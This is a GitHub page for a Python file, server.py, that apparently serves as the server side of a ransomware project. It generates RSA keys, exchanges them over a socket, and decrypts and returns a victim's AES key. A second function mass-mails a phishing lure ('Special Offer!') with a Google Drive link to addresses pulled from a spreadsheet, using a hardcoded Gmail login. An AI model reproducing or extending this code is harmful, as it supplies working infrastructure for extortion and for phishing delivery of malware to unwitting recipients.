-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathserver.py
142 lines (99 loc) · 4.24 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
# Define the block size (in bytes) for AES encryption
BLOCK_SIZE = 16
# ------------------- RSA -------------------
def rsa_generatePublicPrivate():
from Crypto.PublicKey import RSA
# Generate a new RSA key pair with a key length of 2048 bits
key = RSA.generate(1024)
# Get the public key in PEM format
public_key = key.publickey().export_key("PEM")
# Get the private key in PEM format
private_key = key.export_key("PEM")
# save public and private keys in one .key file
with open('keyPair.key', 'wb') as f:
f.write(public_key)
f.write(b'@')
f.write(private_key)
print("Key pair generated.")
def rsa_Decode(encryptedKey):
# decrypt aes_key with private key
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
keyPair = open("keyPair.key").read()
keyPair_private = keyPair.split('@')[1]
keyPair_private_RSA = RSA.import_key(keyPair_private)
cipher = PKCS1_OAEP.new(keyPair_private_RSA)
plaintext = cipher.decrypt(encryptedKey)
# dave aes_key in .key file
with open('Key.key', 'wb') as f:
f.write(plaintext)
print(plaintext.decode('utf-8'))
aes_key = plaintext.decode('utf-8')
return aes_key
# aes_decode(plaintext.decode('utf-8'), "output.txt")
# ---------------------------------------------------------------------------------------------------------------
def get_emails_list():
import pandas as pd
emails_df = pd.read_csv('https://docs.google.com/spreadsheets/d/1Wcb2hzqL56QorxwBFW96QWSuyYv_x9VwiFH1nMqJCHA/gviz/tq?tqx=out:csv')
emails_list = []
emails_list = emails_df.Email.tolist()
# emails_list.append("[email protected]")
print(emails_list)
return emails_list
def send_emails():
from time import sleep
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import os
sender_email = "[email protected]"
password = "jwkieselwaeivvkfx" # not actual password :)
i = 0
emails_list = get_emails_list()
for mail in emails_list:
gmail_account = mail
msg = MIMEMultipart()
msg['From'] = sender_email
msg['To'] = gmail_account
msg['Subject'] = "Special Offer!"
text = MIMEText("PRESS HERE FOR GOOD LUCK!! https://drive.google.com/drive/folders/1HGh5gvPQBZ2ib1dbtuMrlqCSq0aMVxUf?usp=share_link")
msg.attach(text)
server = smtplib.SMTP("smtp.gmail.com", 587)
server.ehlo()
server.starttls()
server.ehlo()
server.login(sender_email, password)
server.sendmail(sender_email, gmail_account, msg.as_string())
server.quit()
print(f'EMAIL SENT!! {i}')
i += 1
# send_emails()
# ---------------------------------------------------------------------------------------------------------------
import socket
SERVER_IP = '127.0.0.1'
SERVER_PORT = 5678
with socket.socket(socket.AF_INET , socket.SOCK_STREAM) as s:
s.bind((SERVER_IP, SERVER_PORT))
print('Server is listening')
s.listen(1)
conn,addr = s.accept()
print(f'Connection accepted from :{addr}')
with conn:
while(True):
# conn.send(b'Hello World')
print("generating pub/priv keys...")
rsa_generatePublicPrivate()
# send public key to the client
keyPair = open("keyPair.key").read()
keyPair_public = keyPair.split('@')[0]
print("sending public key to the client..")
conn.send(bytes(keyPair_public, encoding="raw_unicode_escape"))
print("getting the ecrypted aes key..")
encrypted_aes_key = conn.recv(1024)
print("decrypt the aes_key using RSA private key..")
unencrypted_aes_key = rsa_Decode(encrypted_aes_key)
print("unencrypted aes key: ", unencrypted_aes_key)
print("sending the unencrypted key back to the client..")
conn.send(bytes(unencrypted_aes_key, encoding="raw_unicode_escape"))
break